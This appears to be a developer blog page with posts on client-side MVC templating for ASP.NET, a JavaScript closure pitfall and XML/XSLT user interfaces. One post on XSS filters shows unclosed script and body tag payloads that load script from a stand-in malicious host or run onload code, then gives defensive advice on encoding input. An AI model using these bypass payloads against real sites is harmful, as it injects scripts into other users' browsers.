Link here

Link here

jMVC.NET: Neat Client-side MVC for ASP.NET

ASP.NET, JSON, Javascript, MVC, UI 11 Comments »

Here’s an idea I’ve been working on for a little while, and I think is now ready for others to use - a client-side MVC engine that slots into existing ASP.NET pages and makes it dead easy to make dynamic user interfaces.

By that, I mean UIs where the set of controls changes according to the data entered or selections made. Controls appear or disappear, enable or disable, highlight or animate, as the user interacts with them.

There are no postbacks, no AJAX trickery, and no having to write sophisticated Javascript event-handling code. It’s an effective application of the Model-View-Controller principle, running in the browser window.

Impatient? Start by checking out the demos

Example

imageMaybe I’m getting too carried away… let’s take a look at an example you can probably recognise.

Imagine you’re writing a blog application in which the user can enter a list of “tags” for each entry. You could ask them to enter a comma-separated list of strings in a single textbox, but that’s not very nice. It’s better to present a list of separate textboxes - but how many? Well, that isn’t determined in advance, so you’ll need to offer a variable number. Is that so hard?

In standard ASP.NET, despite the simplicity of the requirements, it is painful.

With a jMVC.NET control, it’s easy and clean - your server-side code looks like this:

protected void Page_Load(object sender, EventArgs e)
{
   if (!IsPostBack)
   {
       // Assign initial data to control
       TagList.Model[“tags”] = new string[] { “Javascript”, “MVC”, “Goodness” };
   }
}

protected void FinishedButton_Click(object sender, EventArgs e)
{
    // Retrieve updated data model from control
    string[] tags = (string[])TagList.Model[“tags”];
    // … now save the tags to database or whatever…
}

That’s all there is to it on the server. Assign the data to the control, then read back the results - there’s no intermediate processing or manipulating of controls.

Your code in-front looks like this:

image

… and you have a view template like this:

image

It’s very clean and direct, and you get a control tree that changes and updates right there in the browser with no server communication. Each time the user clicks “add” or “delete”, the underlying data model is updated, and the jMVC framework rebuilds the UI to match.

Installation and Usage

Installation consists of dropping the two DLLs into your /bin folder:

image

To add a control to your page, register the jMVC namespace in your ASPX file:

image

Add a MVCPanel control wherever you want it:

image

You might find it helpful to set “ShowDebugInfo” to true at first, so you can see how your .NET data model is represented in Javascript.

You need to add a view template - usually given the .jmvc extension but anything else if your web server won’t serve files with a .jmvc extension. It’s a plain text file, following the jMVC syntax described here.

Finally, assign data to the control’s “Model” property, and read it back after a postback.

Demos

Those short instructions hardly explain the full picture, so it’s best to look at the demo website. This outlines some realistic use cases and lets you see the source code.

If you have questions or feedback, please post a comment and I’ll reply as soon as I can.

Download

The demo website also has the latest download information, including information on accessing the public subversion repository.

License

jMVC.NET is provided under a MIT license, so you can use it in commercial or non-commercial projects.

Compatibility

On the server, you need to run ASP.NET 2.0 or higher. Browser compatibility is most modern browsers, certainly including IE6+ and Firefox 2+.

Rich Javascript MVC user interfaces with jMVC

JSON, Javascript, MVC, UI 5 Comments »
Update: jMVC is now integrated with ASP.NET - Check out details and demos here

So we can build clean, responsive user interfaces with the MVC design pattern using client-side XSLT. Nice. Now let’s imagine something much better.

What if we could take plain Javascript objects as our model (perhaps transferred to/from the server in JSON form), and translate them into a HTML user-interface using a clean, fast, and familiar templating language? A language as familiar as… Javascript itself?

Perhaps we could even set up a simple framework that would let us route events in the UI (such as button presses) into our own Javascript handler functions, and then after we update the model, it automatically refreshes the UI…

Introducing jMVC

It’s really simple. It’s a templating engine written in less than 100 lines of Javascript (excluding comments). jMVC provides a templating language which is actually Javascript, so you don’t have to learn any new syntax.

It uses ASP-style <% code %> syntax, like this:

Here are some items from an array:
<ul>
   <% for(var i = 0; i < model.items.length; i++) { %>
      <li><%= model.items[i].name %></li>
   <% } %>
</ul>

There are only three syntactical constructs (plus everything you can normally do in Javascript):

  • Code blocks, which you’ll use mostly for looping, or if/else constructs, like this:
<% if(model.cart.count > 0) { %>
    You have some stuff in your cart.
<% } else { %>
    You have nothing in your cart.
<% } %>
  • Evaluations, used to insert a value from your model into the UI, like this:
Hello <%= model.name %>, the time is <%= new Date() %>.
  • Closures (these are the fancy ones), used to attach Javascript code to events in the dynamically-generated user interface, like this:
<input type="button"
       value="Delete"
       onclick="<%* function(currentItem) { deleteItem(currentItem) } %>" />

Simple, eh?

Notice the last one - closures - because this is the only bit that isn’t completely obvious. While code blocks and evaluations run at template-processing time, the closures run later, for example when the user clicks a button or link. The magic <%* function() { ..code.. } %> syntax (notice the asterisk) means, “Here’s a block of code, don’t run it now, just register it to this event handler”.

They are closures because you can reference any variable from your model that’s in scope at the time. This is really helpful when your UI contains lists with buttons next to each item, as you can pass in the relevant item as a parameter to the event handler.

After your closure runs (during which you’ll probably update the model), the UI is automatically refreshed - that’s one less thing to think about.

Online demos

Just to prove it works, here are two demos. They will launch in a new window. They’re deliberately kept simple to demonstrate the method, so don’t expect fancy graphics.

Simple list-editing demo - download the source code to see how easy this is.

Recursive controls demo - this replicates the demo given for the XSLT method, but shows how jMVC is much more streamlined. Source code

Integrating with ASP.NET

… or another server-side language is pretty easy, because as you will see from the second demo, the JSON model can be kept in a hidden INPUT field or TEXTAREA so it gets posted back to the server. I haven’t explained this in more detail but it is simple, and I will do so if needed.

Download

You can download the full source code version here (~5kb).

There’s also a minified version (i.e. comments & blanks removed) here (~2kb).

At the moment there isn’t any documentation beyond this blog post, the source code, and the demos. It’s under 100 lines of code long, you can probably work it out. Nonetheless, if there is interest, I will write more documentation/tutorials.

License

You’re free to use and include this in commercial and non-commercial projects, including making your own modifications. You only have to retain the original copyright notice and link in the source code.

Note: it uses (and includes) the json.js library, placed into the public domain by json.org.

Alternatives

This is not a completely new idea. Although jMVC provides some unique benefits, there are loads of related projects and frameworks, each with their own advantages. Most are more developed than jMVC.

I like jMVC because it’s so small and simple. The main other benefits, compared to most Javascript templating systems, are:

  • no new, proprietary flow syntax to learn. It’s just Javascript.
  • an incredibly easy event handling mechanism, so you only need to think in MVC terms and the plumbing is done for you

Here are some alternatives you might like to check out:

  • TrimPath is one of the oldest. Unfortunately it has its own nonstandard syntax, but the website explains it well.
  • Helma looks feature-rich, e.g. the concept of sub-templates. Proprietary syntax again though.
  • ZParse might be the most sophisticated one, a bit complex perhaps, but a really nice website and demos.
  • ESTE is perhaps the most similar to jMVC. It also uses real Javascript syntax and keeps the whole business simple. Is this still actively maintained?

Check your XSS filters (Cross-site scripting)

Javascript, Security No Comments »

In the last couple of days I’ve tested the effectiveness of XSS filters in two different commercial forum applications, both advertised as being able to filter out malicious scripts. Neither were effectively protected against this:

<script src="http://malicious.com/script.js"

Agh! All I did was remove the tag’s closing “>” character and neither app recognised it as HTML. The latest versions of Firefox and Internet Explorer both “gracefully” interpret the malformed tag, loading and running the malicious script.

If I didn’t want to load my JS from an external file (to help hide my identity), or if they were specifically preventing the string “<script“, I could have written this:

<body onload="alert('I am evil script'); doEvilStuff();"

Browsers don’t care if you add multiple body tags. They’ll run the “onload” code for all of them.

One of the applications was supposed to filter out all HTML, full stop. Putting images in this supposed plain text was, of course, easy - just miss off the closing bracket of the <IMG> tag.

Rolling your own HTML filter

HTML filtering is hard to get right, because HTML is so permissive. Even the big webmail services occasionally admit that someone’s found a new loophole in their system.

If you can get away with simply HTML-encoding *all* user input at the point of display, do that - it’s easy and very safe, like this:

MyLabel.Text = HttpUtility.HtmlEncode(suspiciousString);

If you have a functional requirement to allow certain HTML tags, you’re going to have to consider the multitude of ways that someone can hide script in HTML.

If you’re writing .NET to parse and reformulate possibly-malformed HTML, I strongly recommend the HTML Agility Pack. It’s a Microsoft-hosted open source project that makes it a breeze to extract plain text - or whitelisted markup - from any string claiming to be HTML.

Don’t rely on some regular expression you cooked up yourself in 10 minutes. You won’t get it right.

When is a Javascript closure not really a closure?

Javascript No Comments »

This has frustrated me one time too many, so I’ve finally taken the time to figure it out. What should the following code do?

var closures = [];
for(var i = 0; i < 10; i++)
	closures[i] = function() { alert(i); }
closures[3]();

It alerts “3″, right? Wrong. It alerts “10″. It turns out that the Javascript runtime will only open one closure context per function call. So, the anonymous functions in the array all reference the same closure context, and so they’re all seeing the same variable i in whatever state it’s reached when they’re finally invoked.

This can be a pain. Really, sometimes I want closures to wrap up the complete state of execution at the instant they’re defined, particularly when defining event handlers in a loop.

You can work around it with code like this:

var closures = [];
for(var i = 0; i < 10; i++)
	closures[i] = function(i) {
				return function() { alert(i); }
			  }(i);
closures[3]();

Ta da! Now it alerts “3″. All we’re doing is creating a ‘wrapper’ anonymous function from which the real one gets returned. The act of invoking the wrapper function creates a new closure context.

Note: this isn’t a bug in Javascript - it’s intended behaviour. Learn more about Javascript closures

MVC in the browser

Javascript, MVC, XML, XSLT No Comments »

Complex user interfaces in ASP.NET - what a pain! If you’re adding and removing controls at runtime, or even just trying to embed custom controls in a GridView, you’ll know how it can all break down into a sorry mess of events not firing, controls losing their viewstate, and you spending the afternoon fighting the VS debugger and cursing those sadists who invented the ‘page lifecycle’…!

Demo

First, take a look at this, and think about how you would implement this sort of UI in ASP.NET. It’s a live demo, so have a play - you can add, remove and rename folders.

Click this link to open the demo in a new window

In standard, server-centric ASP.NET, this would be incredibly painful to create. You’d be fussing over viewstate, naming containers, event bubbling, and every button-press from the end user would result in a long, tedious postback. Even just maintaining the tree expansion state between postbacks would be awkward.

On the other hand, it’s delightfully simple if you put your brain into Model-View-Controller (MVC) mode, and use a bit of Javascript and XSLT.

Architecture

For simplicity, we’re using

  • XML to represent our data model (view this by clicking “Show model XML” in the demo)
  • XSLT to build the HTML view of the model
  • Some Javascript code to act as controller

The basic mechanics of this UI technique are thus:

js-mvc

When the user finally submits the form to the server (e.g. postback in ASP.NET), the TEXTAREA contains the updated XML data model, which is easily parsed, validated and processed by the server.

Browser support

For this to work, your browser has to be able to

  • Parse an XML string into an XML document (and serialize it back)
  • Transform an XML document using XSLT
  • Support XPATH queries in Javascript

All modern browsers can do the above natively, but if you need to support one that doesn’t - but it does support AJAX (XMLHttpRequest) - you can do the parsing/transforming on the server.

In the example, I wrote code that natively supports IE and Firefox, but when I’ve used this technique in production, I used the excellent Sarissa library to handle all the cross-platform business and give me wider browser support.

The good

  • You can build increasingly sophisticated UIs without building increasingly sophisticated code to support it.
  • XML/XSLT handle repeating/recursive UIs so very naturally
  • It’s dead easy to mix this approach with standard ASP.NET web controls, because the MVC controls naturally retain their state between postbacks.
  • It’s like instant AJAX. In other words, the end user experience is one where the UI updates immediately without postbacks, but it’s even better because there are no asynchronous HTTP requests to wait for. Of course you can’t do everything you could with classic AJAX.

The bad

  • Though this technique is great for highly dynamic UIs (especially repeating/recursive ones), it’s overkill for simple forms
  • You can’t embed ASP.NET server-side controls inside the MVC controls (but you can use them elsewhere on the same page).

The ugly

If there’s one thing I really don’t like here it’s XSLT. Oh yes it’s very clever, but it’s ridiculously verbose and virtually impossible to read quickly. And it lacks extensibility. It just looks ugly! If anyone’s interested, I may follow this up with a tutorial on building simpler, faster and more powerful MVC UIs using the fabulous JSON.

Download

To examine the demo more closely, download the source code and run it locally. Note: Internet Explorer may prevent you from running Javascript from the “local computer” zone, so if in doubt, use Firefox!

Site Meter